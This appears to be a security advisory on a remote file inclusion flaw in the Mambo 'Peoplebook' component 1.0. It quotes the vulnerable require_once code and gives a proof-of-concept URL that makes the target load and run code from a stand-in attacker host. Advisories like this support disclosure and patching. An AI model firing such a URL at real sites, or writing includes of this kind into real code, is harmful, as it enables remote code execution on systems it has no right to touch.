Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Peoplebook Component

Application     : Peoplebook Component
version         : 1.0
URL             : www.mamboforge.net/projects/peoplebook

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder com_peoplebook we found vulnerability script param.peoplebook.php.

-----------------------param.peoplebook.php----------------------
....
<?php

if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php');
}
else {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php');
} 
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in param.peoplebook.php
